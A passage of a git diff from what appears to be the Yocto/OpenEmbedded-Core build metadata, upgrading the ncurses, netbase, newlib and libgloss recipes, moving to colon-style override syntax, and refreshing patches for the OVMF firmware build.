-# This is needed when using patchlevel versions like 6.1+20181013
-#CVE_VERSION = "${@d.getVar("PV").split('+')[0]}.${@d.getVar("PV").split('+')[1]}"
diff --git a/meta/recipes-core/ncurses/ncurses_6.3.bb b/meta/recipes-core/ncurses/ncurses_6.3.bb
new file mode 100644
index 0000000000..f0256dad22
--- /dev/null
+++ b/meta/recipes-core/ncurses/ncurses_6.3.bb
@@ -0,0 +1,14 @@
+require ncurses.inc
+
+SRC_URI += "file://0001-tic-hang.patch \
+ file://0002-configure-reproducible.patch \
+ file://0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch \
+ "
+# commit id corresponds to the revision in package version
+SRCREV = "51d0fd9cc3edb975f04224f29f777f8f448e8ced"
+S = "${WORKDIR}/git"
+EXTRA_OECONF += "--with-abi-version=5"
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)$"
+
+# This is needed when using patchlevel versions like 6.1+20181013
+#CVE_VERSION = "${@d.getVar("PV").split('+')[0]}.${@d.getVar("PV").split('+')[1]}"
diff --git a/meta/recipes-core/netbase/netbase_6.1.bb b/meta/recipes-core/netbase/netbase_6.1.bb
deleted file mode 100644
index 33eca459d5..0000000000
--- a/meta/recipes-core/netbase/netbase_6.1.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Basic TCP/IP networking support"
-DESCRIPTION = "This package provides the necessary infrastructure for basic TCP/IP based networking"
-HOMEPAGE = "http://packages.debian.org/netbase"
-SECTION = "base"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=3dd6192d306f582dee7687da3d8748ab"
-PE = "1"
-
-SRC_URI = "${DEBIAN_MIRROR}/main/n/${BPN}/${BPN}_${PV}~bpo10+1.tar.xz"
-S = "${WORKDIR}/${BPN}-${PV}~bpo10+1"
-
-SRC_URI[md5sum] = "4fa7517285b4045ac0dc8dbf6730dd7a"
-SRC_URI[sha256sum] = "4e9c3082dff8896cb6b6bea9bb2200d82fb0d7c8d8c8fc9b18704fe553316237"
-
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/n/netbase/"
-do_install () {
-
- install -d ${D}/${mandir}/man8 ${D}${sysconfdir}
- install -m 0644 ${S}/etc/rpc ${D}${sysconfdir}/rpc
- install -m 0644 ${S}/etc/protocols ${D}${sysconfdir}/protocols
- install -m 0644 ${S}/etc/services ${D}${sysconfdir}/services
-}
diff --git a/meta/recipes-core/netbase/netbase_6.3.bb b/meta/recipes-core/netbase/netbase_6.3.bb
new file mode 100644
index 0000000000..0a7a9d71ed
--- /dev/null
+++ b/meta/recipes-core/netbase/netbase_6.3.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Basic TCP/IP networking support"
+DESCRIPTION = "This package provides the necessary infrastructure for basic TCP/IP based networking"
+HOMEPAGE = "http://packages.debian.org/netbase"
+SECTION = "base"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://debian/copyright;md5=3dd6192d306f582dee7687da3d8748ab"
+PE = "1"
+
+SRC_URI = "${DEBIAN_MIRROR}/main/n/${BPN}/${BPN}_${PV}.tar.xz"
+
+inherit allarch
+
+SRC_URI[sha256sum] = "7c42a6a1cafa0c64103c71cab6431fc8613179b2449a1a00e55e3584e860d81c"
+
+UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/n/netbase/"
+
+do_install () {
+ install -d ${D}${sysconfdir}
+ install -m 0644 ${S}/etc/rpc ${D}${sysconfdir}/rpc
+ install -m 0644 ${S}/etc/protocols ${D}${sysconfdir}/protocols
+ install -m 0644 ${S}/etc/services ${D}${sysconfdir}/services
+ install -m 0644 ${S}/etc/ethertypes ${D}${sysconfdir}/ethertypes
+}
diff --git a/meta/recipes-core/newlib/libgloss_3.3.0.bb b/meta/recipes-core/newlib/libgloss_3.3.0.bb
deleted file mode 100644
index c9ed30d988..0000000000
--- a/meta/recipes-core/newlib/libgloss_3.3.0.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-require newlib.inc
-
-DEPENDS += "newlib"
-
-FILESEXTRAPATHS_prepend := "${THISDIR}/libgloss:"
-
-SRC_URI_append_powerpc = " file://fix-rs6000-crt0.patch"
-SRC_URI_append_arm = " file://fix_makefile_include_arm_h.patch"
-
-do_configure() {
- ${S}/libgloss/configure ${EXTRA_OECONF}
-}
-
-do_install_prepend() {
- # install doesn't create this itself, avoid install error
- install -d ${D}${prefix}/${TARGET_SYS}/lib
-}
-
-do_install_append() {
- # Move libs to default directories so they can be picked up later
- install -d ${D}${libdir}
- mv -v ${D}${prefix}/${TARGET_SYS}/lib/* ${D}${libdir}
-
- # Remove original directory
- rmdir -p --ignore-fail-on-non-empty ${D}${prefix}/${TARGET_SYS}/lib
-}
-
-# Split packages correctly
-FILES_${PN} += "${libdir}/*.ld ${libdir}/*.specs"
-FILES_${PN}-dev += "${libdir}/cpu-init/*"
-
-INHIBIT_PACKAGE_STRIP = "1"
-INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
diff --git a/meta/recipes-core/newlib/libgloss_4.1.0.bb b/meta/recipes-core/newlib/libgloss_4.1.0.bb
new file mode 100644
index 0000000000..8c8ee91395
--- /dev/null
+++ b/meta/recipes-core/newlib/libgloss_4.1.0.bb
@@ -0,0 +1,33 @@
+require newlib.inc
+
+DEPENDS += "newlib"
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/libgloss:"
+
+SRC_URI:append:powerpc = " file://fix-rs6000-crt0.patch"
+SRC_URI:append:arm = " file://fix_makefile_include_arm_h.patch"
+
+do_configure() {
+ ${S}/libgloss/configure ${EXTRA_OECONF}
+}
+
+do_install:prepend() {
+ # install doesn't create this itself, avoid install error
+ install -d ${D}${prefix}/${TARGET_SYS}/lib
+}
+
+do_install:append() {
+ # Move libs to default directories so they can be picked up later
+ install -d ${D}${libdir}
+ mv -v ${D}${prefix}/${TARGET_SYS}/lib/* ${D}${libdir}
+
+ # Remove original directory
+ rmdir -p --ignore-fail-on-non-empty ${D}${prefix}/${TARGET_SYS}/lib
+}
+
+# Split packages correctly
+FILES:${PN} += "${libdir}/*.ld ${libdir}/*.specs"
+FILES:${PN}-dev += "${libdir}/cpu-init/*"
+
+INHIBIT_PACKAGE_STRIP = "1"
+INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
diff --git a/meta/recipes-core/newlib/newlib.inc b/meta/recipes-core/newlib/newlib.inc
index 96e230f985..23cd172008 100644
--- a/meta/recipes-core/newlib/newlib.inc
+++ b/meta/recipes-core/newlib/newlib.inc
@@ -8,15 +8,15 @@ LIC_FILES_CHKSUM = " \
file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING.LIBGLOSS;md5=54b778d585443cd7fbfa1b47cbd63a89 \
+ file://COPYING.LIBGLOSS;md5=7b7615de0ecda0ff8d705966ac3b8950 \
file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
- file://COPYING.NEWLIB;md5=ac17c68751aad7a5298ce3f249121070 \
+ file://COPYING.NEWLIB;md5=b8dda70da54e0efb49b1074f349d7749 \
file://newlib/libc/posix/COPYRIGHT;md5=103468ff1982be840fdf4ee9f8b51bbf \
file://newlib/libc/sys/linux/linuxthreads/LICENSE;md5=73640207fbc79b198c7ffd4ad4d97aa0 \
"
SRC_URI = "https://sourceware.org/pub/newlib/newlib-${PV}.tar.gz"
-SRC_URI[sha256sum] = "58dd9e3eaedf519360d92d84205c3deef0b3fc286685d1c562e245914ef72c66"
+SRC_URI[sha256sum] = "f296e372f51324224d387cc116dc37a6bd397198756746f93a2b02e9a5d40154"
INHIBIT_DEFAULT_DEPS = "1"
DEPENDS = "virtual/${TARGET_PREFIX}gcc"
@@ -25,7 +25,7 @@ S = "${WORKDIR}/newlib-${PV}"
B = "${WORKDIR}/build"
## disable stdlib
-TARGET_CC_ARCH_append = " -nostdlib"
+TARGET_CC_ARCH:append = " -nostdlib"
EXTRA_OECONF = " \
--build=${BUILD_SYS} \
@@ -50,5 +50,5 @@ do_install() {
oe_runmake install DESTDIR='${D}'
}
-COMPATIBLE_HOST_libc-musl_class-target = "null"
-COMPATIBLE_HOST_libc-glibc_class-target = "null"
+COMPATIBLE_HOST:libc-musl:class-target = "null"
+COMPATIBLE_HOST:libc-glibc:class-target = "null"
diff --git a/meta/recipes-core/newlib/newlib_3.3.0.bb b/meta/recipes-core/newlib/newlib_3.3.0.bb
deleted file mode 100644
index 7ab5b2b94e..0000000000
--- a/meta/recipes-core/newlib/newlib_3.3.0.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-require newlib.inc
-
-PROVIDES += "virtual/libc virtual/libiconv virtual/libintl"
-
-do_configure() {
- export CC_FOR_TARGET="${CC}"
- ${S}/configure ${EXTRA_OECONF}
-}
-
-do_install_append() {
- # Move include files and libs to default directories so they can be picked up later
- mv -v ${D}${prefix}/${TARGET_SYS}/lib ${D}${libdir}
- mv -v ${D}${prefix}/${TARGET_SYS}/include ${D}${includedir}
-
- # Remove original directory
- rmdir ${D}${prefix}/${TARGET_SYS}
-}
-
-# No rpm package is actually created but -dev depends on it, avoid dnf error
-RDEPENDS_${PN}-dev_libc-newlib = ""
diff --git a/meta/recipes-core/newlib/newlib_4.1.0.bb b/meta/recipes-core/newlib/newlib_4.1.0.bb
new file mode 100644
index 0000000000..0542c596ba
--- /dev/null
+++ b/meta/recipes-core/newlib/newlib_4.1.0.bb
@@ -0,0 +1,20 @@
+require newlib.inc
+
+PROVIDES += "virtual/libc virtual/libiconv virtual/libintl"
+
+do_configure() {
+ export CC_FOR_TARGET="${CC}"
+ ${S}/configure ${EXTRA_OECONF}
+}
+
+do_install:append() {
+ # Move include files and libs to default directories so they can be picked up later
+ mv -v ${D}${prefix}/${TARGET_SYS}/lib ${D}${libdir}
+ mv -v ${D}${prefix}/${TARGET_SYS}/include ${D}${includedir}
+
+ # Remove original directory
+ rmdir ${D}${prefix}/${TARGET_SYS}
+}
+
+# No rpm package is actually created but -dev depends on it, avoid dnf error
+RDEPENDS:${PN}-dev:libc-newlib = ""
diff --git a/meta/recipes-core/os-release/os-release.bb b/meta/recipes-core/os-release/os-release.bb
index a29d678125..637d059e8b 100644
--- a/meta/recipes-core/os-release/os-release.bb
+++ b/meta/recipes-core/os-release/os-release.bb
@@ -12,7 +12,9 @@ do_configure[noexec] = "1"
# Other valid fields: BUILD_ID ID_LIKE ANSI_COLOR CPE_NAME
# HOME_URL SUPPORT_URL BUG_REPORT_URL
-OS_RELEASE_FIELDS = "ID ID_LIKE NAME VERSION VERSION_ID PRETTY_NAME"
+OS_RELEASE_FIELDS = "\
+ ID ID_LIKE NAME VERSION VERSION_ID PRETTY_NAME DISTRO_CODENAME \
+"
OS_RELEASE_UNQUOTED_FIELDS = "ID VERSION_ID VARIANT_ID"
ID = "${DISTRO}"
@@ -47,7 +49,7 @@ do_compile[vardeps] += "${OS_RELEASE_FIELDS}"
do_install () {
install -d ${D}${nonarch_libdir} ${D}${sysconfdir}
install -m 0644 os-release ${D}${nonarch_libdir}/
- lnr ${D}${nonarch_libdir}/os-release ${D}${sysconfdir}/os-release
+ ln -rs ${D}${nonarch_libdir}/os-release ${D}${sysconfdir}/os-release
}
-FILES_${PN} += "${nonarch_libdir}/os-release"
+FILES:${PN} += "${nonarch_libdir}/os-release"
diff --git a/meta/recipes-core/ovmf/ovmf-shell-image.bb b/meta/recipes-core/ovmf/ovmf-shell-image.bb
index 0d2b8bf52f..50c4517da3 100644
--- a/meta/recipes-core/ovmf/ovmf-shell-image.bb
+++ b/meta/recipes-core/ovmf/ovmf-shell-image.bb
@@ -1,10 +1,11 @@
DESCRIPTION = "boot image with UEFI shell and tools"
+COMPATIBLE_HOST:class-target='(i.86|x86_64).*'
# For this image recipe, only the wic format with a
# single vfat partition makes sense. Because we have no
# boot loader and no rootfs partition, not additional
# tools are needed for this .wks file.
-IMAGE_FSTYPES_forcevariable = 'wic'
+IMAGE_FSTYPES:forcevariable = 'wic'
WKS_FILE = "ovmf/ovmf-shell-image.wks"
WKS_FILE_DEPENDS = ""
diff --git a/meta/recipes-core/ovmf/ovmf/0001-Fix-VLA-parameter-warning.patch b/meta/recipes-core/ovmf/ovmf/0001-Fix-VLA-parameter-warning.patch
new file mode 100644
index 0000000000..d658123b81
--- /dev/null
+++ b/meta/recipes-core/ovmf/ovmf/0001-Fix-VLA-parameter-warning.patch
@@ -0,0 +1,51 @@
+From 498627ebda6271b59920f43a0b9b6187edeb7b09 Mon Sep 17 00:00:00 2001
+From: Adrian Herrera <adr.her.arc.95@gmail.com>
+Date: Mon, 22 Mar 2021 21:06:47 +0000
+Subject: [PATCH] Fix VLA parameter warning
+
+Make VLA buffer types consistent in declarations and definitions.
+Resolves build crash when using -Werror due to "vla-parameter" warning.
+
+Upstream-Status: Submitted [https://github.com/google/brotli/pull/893]
+Signed-off-by: Adrian Herrera <adr.her.arc.95@gmail.com>
+---
+ c/dec/decode.c | 6 ++++--
+ c/enc/encode.c | 5 +++--
+ 2 files changed, 7 insertions(+), 4 deletions(-)
+
+diff --git a/BaseTools/Source/C/BrotliCompress/brotli/c/dec/decode.c b/BaseTools/Source/C/BrotliCompress/brotli/c/dec/decode.c
+index 114c505..bb6f1ab 100644
+--- a/BaseTools/Source/C/BrotliCompress/brotli/c/dec/decode.c
++++ b/BaseTools/Source/C/BrotliCompress/brotli/c/dec/decode.c
+@@ -2030,8 +2030,10 @@ static BROTLI_NOINLINE BrotliDecoderErrorCode SafeProcessCommands(
+ }
+
+ BrotliDecoderResult BrotliDecoderDecompress(
+- size_t encoded_size, const uint8_t* encoded_buffer, size_t* decoded_size,
+- uint8_t* decoded_buffer) {
++ size_t encoded_size,
++ const uint8_t encoded_buffer[BROTLI_ARRAY_PARAM(encoded_size)],
++ size_t* decoded_size,
++ uint8_t decoded_buffer[BROTLI_ARRAY_PARAM(*decoded_size)]) {
+ BrotliDecoderState s;
+ BrotliDecoderResult result;
+ size_t total_out = 0;
+diff --git a/c/enc/encode.c b/c/enc/encode.c
+index 68548ef..ab0a490 100644
+--- a/BaseTools/Source/C/BrotliCompress/brotli/c/enc/encode.c
++++ c/BaseTools/Source/C/BrotliCompress/brotli/c/enc/encode.c
+@@ -1470,8 +1470,9 @@ static size_t MakeUncompressedStream(
+
+ BROTLI_BOOL BrotliEncoderCompress(
+ int quality, int lgwin, BrotliEncoderMode mode, size_t input_size,
+- const uint8_t* input_buffer, size_t* encoded_size,
+- uint8_t* encoded_buffer) {
++ const uint8_t input_buffer[BROTLI_ARRAY_PARAM(input_size)],
++ size_t* encoded_size,
++ uint8_t encoded_buffer[BROTLI_ARRAY_PARAM(*encoded_size)]) {
+ BrotliEncoderState* s;
+ size_t out_size = *encoded_size;
+ const uint8_t* input_start = input_buffer;
+--
+2.31.1
+
diff --git a/meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch b/meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch
index c32963a807..89d9ffab5e 100644
--- a/meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch
+++ b/meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch
@@ -1,7 +1,7 @@
-From 200ff35c6545b4ab85f5ea7a6096fbaec3d82f6d Mon Sep 17 00:00:00 2001
+From 1125f5a02c2f327aeffe2d6b66a9d816ad2eeec0 Mon Sep 17 00:00:00 2001
From: Ricardo Neri <ricardo.neri-calderon@linux.intel.com>
Date: Thu, 9 Jun 2016 02:23:01 -0700
-Subject: [PATCH 1/4] ovmf: update path to native BaseTools
+Subject: [PATCH 1/6] ovmf: update path to native BaseTools
BaseTools is a set of utilities to build EDK-based firmware. These utilities
are used during the build process. Thus, they need to be built natively.
@@ -11,7 +11,6 @@ with the appropriate location before building.
Signed-off-by: Ricardo Neri <ricardo.neri-calderon@linux.intel.com>
Upstream-Status: Pending
-
---
OvmfPkg/build.sh | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
@@ -30,5 +29,5 @@ index 91b1442ade..1858dae31a 100755
source edksetup.sh BaseTools
else
--
-2.28.0
+2.32.0
diff --git a/meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch b/meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch
index c61a08f022..f6141c8af5 100644
--- a/meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch
+++ b/meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch
@@ -1,23 +1,22 @@
-From 667c0cf97dadc4f5994d26ec3984f559a05ec406 Mon Sep 17 00:00:00 2001
+From 19d4c7f9812062a683b3ba60b35aac0461190456 Mon Sep 17 00:00:00 2001
From: Ricardo Neri <ricardo.neri-calderon@linux.intel.com>
Date: Fri, 26 Jul 2019 17:34:26 -0400
-Subject: [PATCH 2/4] BaseTools: makefile: adjust to build in under bitbake
+Subject: [PATCH 2/6] BaseTools: makefile: adjust to build in under bitbake
Prepend the build flags with those of bitbake. This is to build
using the bitbake native sysroot include and library directories.
Signed-off-by: Ricardo Neri <ricardo.neri@linux.intel.com>
Upstream-Status: Pending
-
---
BaseTools/Source/C/Makefiles/header.makefile | 17 +++++++++--------
1 file changed, 9 insertions(+), 8 deletions(-)
diff --git a/BaseTools/Source/C/Makefiles/header.makefile b/BaseTools/Source/C/Makefiles/header.makefile
-index 1c105ee7d4..d5eea3864e 100644
+index 0df728f327..1299d47c87 100644
--- a/BaseTools/Source/C/Makefiles/header.makefile
+++ b/BaseTools/Source/C/Makefiles/header.makefile
-@@ -69,35 +69,36 @@ $(error Bad HOST_ARCH)
+@@ -75,35 +75,36 @@ $(error Bad HOST_ARCH)
endif
INCLUDE = $(TOOL_INCLUDE) -I $(MAKEROOT) -I $(MAKEROOT)/Include/Common -I $(MAKEROOT)/Include/ -I $(MAKEROOT)/Include/IndustryStandard -I $(MAKEROOT)/Common/ -I .. -I . $(ARCH_INCLUDE)
@@ -63,5 +62,5 @@ index 1c105ee7d4..d5eea3864e 100644
#
# Snow Leopard is a 32-bit and 64-bit environment. uname -m returns i386, but gcc defaults
--
-2.28.0
+2.32.0
diff --git a/meta/recipes-core/ovmf/ovmf/0003-ovmf-Update-to-latest.patch b/meta/recipes-core/ovmf/ovmf/0003-ovmf-Update-to-latest.patch
new file mode 100644
index 0000000000..d710429899
--- /dev/null
+++ b/meta/recipes-core/ovmf/ovmf/0003-ovmf-Update-to-latest.patch
@@ -0,0 +1,45 @@
+From 67267d8cc31df16a3608cad1a17c5f1470ef8bbd Mon Sep 17 00:00:00 2001
+From: Steve Langasek <steve.langasek@ubuntu.com>
+Date: Sat, 10 Jun 2017 01:39:36 -0700
+Subject: [PATCH 3/6] ovmf: Update to latest
+
+Description: pass -fno-stack-protector to all GCC toolchains
+ The upstream build rules inexplicably pass -fno-stack-protector only
+ when building for i386 and amd64. Add this essential argument to the
+ generic rules for gcc 4.4 and later.
+Last-Updated: 2016-04-12
+Upstream-Status: Pending
+---
+ BaseTools/Conf/tools_def.template | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/BaseTools/Conf/tools_def.template b/BaseTools/Conf/tools_def.template
+index 498696e583..36241b6ede 100755
+--- a/BaseTools/Conf/tools_def.template
++++ b/BaseTools/Conf/tools_def.template
+@@ -1897,10 +1897,10 @@ DEFINE GCC_RISCV64_RC_FLAGS = -I binary -O elf64-littleriscv -B riscv
+ # GCC Build Flag for included header file list generation
+ DEFINE GCC_DEPS_FLAGS = -MMD -MF $@.deps
+
+-DEFINE GCC48_ALL_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -ffunction-sections -fdata-sections -DSTRING_ARRAY_NAME=$(BASE_NAME)Strings
++DEFINE GCC48_ALL_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -ffunction-sections -fdata-sections -fno-stack-protector -DSTRING_ARRAY_NAME=$(BASE_NAME)Strings
+ DEFINE GCC48_IA32_X64_DLINK_COMMON = -nostdlib -Wl,-n,-q,--gc-sections -z common-page-size=0x20
+-DEFINE GCC48_IA32_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m32 -march=i586 -malign-double -fno-stack-protector -D EFI32 -fno-asynchronous-unwind-tables -Wno-address
+-DEFINE GCC48_X64_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m64 -fno-stack-protector "-DEFIAPI=__attribute__((ms_abi))" -maccumulate-outgoing-args -mno-red-zone -Wno-address -mcmodel=small -fpie -fno-asynchronous-unwind-tables -Wno-address
++DEFINE GCC48_IA32_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m32 -march=i586 -malign-double -D EFI32 -fno-asynchronous-unwind-tables -Wno-address
++DEFINE GCC48_X64_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m64 "-DEFIAPI=__attribute__((ms_abi))" -maccumulate-outgoing-args -mno-red-zone -Wno-address -mcmodel=small -fpie -fno-asynchronous-unwind-tables -Wno-address
+ DEFINE GCC48_IA32_X64_ASLDLINK_FLAGS = DEF(GCC48_IA32_X64_DLINK_COMMON) -Wl,--entry,ReferenceAcpiTable -u ReferenceAcpiTable
+ DEFINE GCC48_IA32_X64_DLINK_FLAGS = DEF(GCC48_IA32_X64_DLINK_COMMON) -Wl,--entry,$(IMAGE_ENTRY_POINT) -u $(IMAGE_ENTRY_POINT) -Wl,-Map,$(DEST_DIR_DEBUG)/$(BASE_NAME).map,--whole-archive
+ DEFINE GCC48_IA32_DLINK2_FLAGS = -Wl,--defsym=PECOFF_HEADER_SIZE=0x220 DEF(GCC_DLINK2_FLAGS_COMMON)
+@@ -1909,7 +1909,7 @@ DEFINE GCC48_X64_DLINK2_FLAGS = -Wl,--defsym=PECOFF_HEADER_SIZE=0x228 DEF
+ DEFINE GCC48_ASM_FLAGS = DEF(GCC_ASM_FLAGS)
+ DEFINE GCC48_ARM_ASM_FLAGS = $(ARCHASM_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ASM_FLAGS) -mlittle-endian
+ DEFINE GCC48_AARCH64_ASM_FLAGS = $(ARCHASM_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ASM_FLAGS) -mlittle-endian
+-DEFINE GCC48_ARM_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ARM_CC_FLAGS) -fstack-protector -mword-relocations
++DEFINE GCC48_ARM_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ARM_CC_FLAGS) -mword-relocations
+ DEFINE GCC48_ARM_CC_XIPFLAGS = DEF(GCC_ARM_CC_XIPFLAGS)
+ DEFINE GCC48_AARCH64_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) -mcmodel=large DEF(GCC_AARCH64_CC_FLAGS)
+ DEFINE GCC48_AARCH64_CC_XIPFLAGS = DEF(GCC_AARCH64_CC_XIPFLAGS)
+--
+2.32.0
+
diff --git a/meta/recipes-core/ovmf/ovmf/0003-ovmf-enable-long-path-file.patch b/meta/recipes-core/ovmf/ovmf/0003-ovmf-enable-long-path-file.patch
deleted file mode 100644
index df1d159011..0000000000
--- a/meta/recipes-core/ovmf/ovmf/0003-ovmf-enable-long-path-file.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From e19481e5a64f8915ac118899b10c40d12c0f9daa Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Mon, 11 Sep 2017 02:21:55 -0400
-Subject: [PATCH 3/4] ovmf: enable long path file
-
-Upstream-Status: Pending
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
-
----
- BaseTools/Source/C/Common/CommonLib.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/BaseTools/Source/C/Common/CommonLib.h b/BaseTools/Source/C/Common/CommonLib.h
-index e1cce985f7..d67d03c70c 100644
---- a/BaseTools/Source/C/Common/CommonLib.h
-+++ b/BaseTools/Source/C/Common/CommonLib.h
-@@ -14,7 +14,7 @@ SPDX-License-Identifier: BSD-2-Clause-Patent
- #include <assert.h>
- #define PRINTED_GUID_BUFFER_SIZE 37 // including null-termination
-
--#define MAX_LONG_FILE_PATH 500
-+#define MAX_LONG_FILE_PATH 1023
-
- #define MAX_UINT64 ((UINT64)0xFFFFFFFFFFFFFFFFULL)
- #define MAX_UINT32 ((UINT32)0xFFFFFFFF)
---
-2.28.0
-
diff --git a/meta/recipes-core/ovmf/ovmf/0004-ovmf-Update-to-latest.patch b/meta/recipes-core/ovmf/ovmf/0004-ovmf-Update-to-latest.patch
deleted file mode 100644
index 128438b201..0000000000
--- a/meta/recipes-core/ovmf/ovmf/0004-ovmf-Update-to-latest.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From ad06fcf1e08736e79221cd6863ff2e3c9254f261 Mon Sep 17 00:00:00 2001
-From: Steve Langasek <steve.langasek@ubuntu.com>
-Date: Sat, 10 Jun 2017 01:39:36 -0700
-Subject: [PATCH 4/4] ovmf: Update to latest
-
-Description: pass -fno-stack-protector to all GCC toolchains
- The upstream build rules inexplicably pass -fno-stack-protector only
- when building for i386 and amd64. Add this essential argument to the
- generic rules for gcc 4.4 and later.
-Last-Updated: 2016-04-12
-Upstream-Status: Pending
-
----
- BaseTools/Conf/tools_def.template | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/BaseTools/Conf/tools_def.template b/BaseTools/Conf/tools_def.template
-index 933b3160fd..c2fbbf0c38 100755
---- a/BaseTools/Conf/tools_def.template
-+++ b/BaseTools/Conf/tools_def.template
-@@ -1952,10 +1952,10 @@ DEFINE GCC_RISCV64_RC_FLAGS = -I binary -O elf64-littleriscv -B riscv
- # GCC Build Flag for included header file list generation
- DEFINE GCC_DEPS_FLAGS = -MMD -MF $@.deps
-
--DEFINE GCC48_ALL_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -ffunction-sections -fdata-sections -DSTRING_ARRAY_NAME=$(BASE_NAME)Strings
-+DEFINE GCC48_ALL_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -ffunction-sections -fdata-sections -fno-stack-protector -DSTRING_ARRAY_NAME=$(BASE_NAME)Strings
- DEFINE GCC48_IA32_X64_DLINK_COMMON = -nostdlib -Wl,-n,-q,--gc-sections -z common-page-size=0x20
--DEFINE GCC48_IA32_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m32 -march=i586 -malign-double -fno-stack-protector -D EFI32 -fno-asynchronous-unwind-tables -Wno-address
--DEFINE GCC48_X64_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m64 -fno-stack-protector "-DEFIAPI=__attribute__((ms_abi))" -maccumulate-outgoing-args -mno-red-zone -Wno-address -mcmodel=small -fpie -fno-asynchronous-unwind-tables -Wno-address
-+DEFINE GCC48_IA32_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m32 -march=i586 -malign-double -D EFI32 -fno-asynchronous-unwind-tables -Wno-address
-+DEFINE GCC48_X64_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m64 "-DEFIAPI=__attribute__((ms_abi))" -maccumulate-outgoing-args -mno-red-zone -Wno-address -mcmodel=small -fpie -fno-asynchronous-unwind-tables -Wno-address
- DEFINE GCC48_IA32_X64_ASLDLINK_FLAGS = DEF(GCC48_IA32_X64_DLINK_COMMON) -Wl,--entry,ReferenceAcpiTable -u ReferenceAcpiTable
- DEFINE GCC48_IA32_X64_DLINK_FLAGS = DEF(GCC48_IA32_X64_DLINK_COMMON) -Wl,--entry,$(IMAGE_ENTRY_POINT) -u $(IMAGE_ENTRY_POINT) -Wl,-Map,$(DEST_DIR_DEBUG)/$(BASE_NAME).map,--whole-archive
- DEFINE GCC48_IA32_DLINK2_FLAGS = -Wl,--defsym=PECOFF_HEADER_SIZE=0x220 DEF(GCC_DLINK2_FLAGS_COMMON)
-@@ -1964,7 +1964,7 @@ DEFINE GCC48_X64_DLINK2_FLAGS = -Wl,--defsym=PECOFF_HEADER_SIZE=0x228 DEF
- DEFINE GCC48_ASM_FLAGS = DEF(GCC_ASM_FLAGS)
- DEFINE GCC48_ARM_ASM_FLAGS = $(ARCHASM_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ASM_FLAGS) -mlittle-endian
- DEFINE GCC48_AARCH64_ASM_FLAGS = $(ARCHASM_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ASM_FLAGS) -mlittle-endian
--DEFINE GCC48_ARM_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ARM_CC_FLAGS) -fstack-protector -mword-relocations
-+DEFINE GCC48_ARM_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ARM_CC_FLAGS) -mword-relocations
- DEFINE GCC48_ARM_CC_XIPFLAGS = DEF(GCC_ARM_CC_XIPFLAGS)
- DEFINE GCC48_AARCH64_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) -mcmodel=large DEF(GCC_AARCH64_CC_FLAGS)
- DEFINE GCC48_AARCH64_CC_XIPFLAGS = DEF(GCC_AARCH64_CC_XIPFLAGS)
---
-2.28.0
-
diff --git a/meta/recipes-core/ovmf/ovmf/0005-debug-prefix-map.patch b/meta/recipes-core/ovmf/ovmf/0005-debug-prefix-map.patch
new file mode 100644
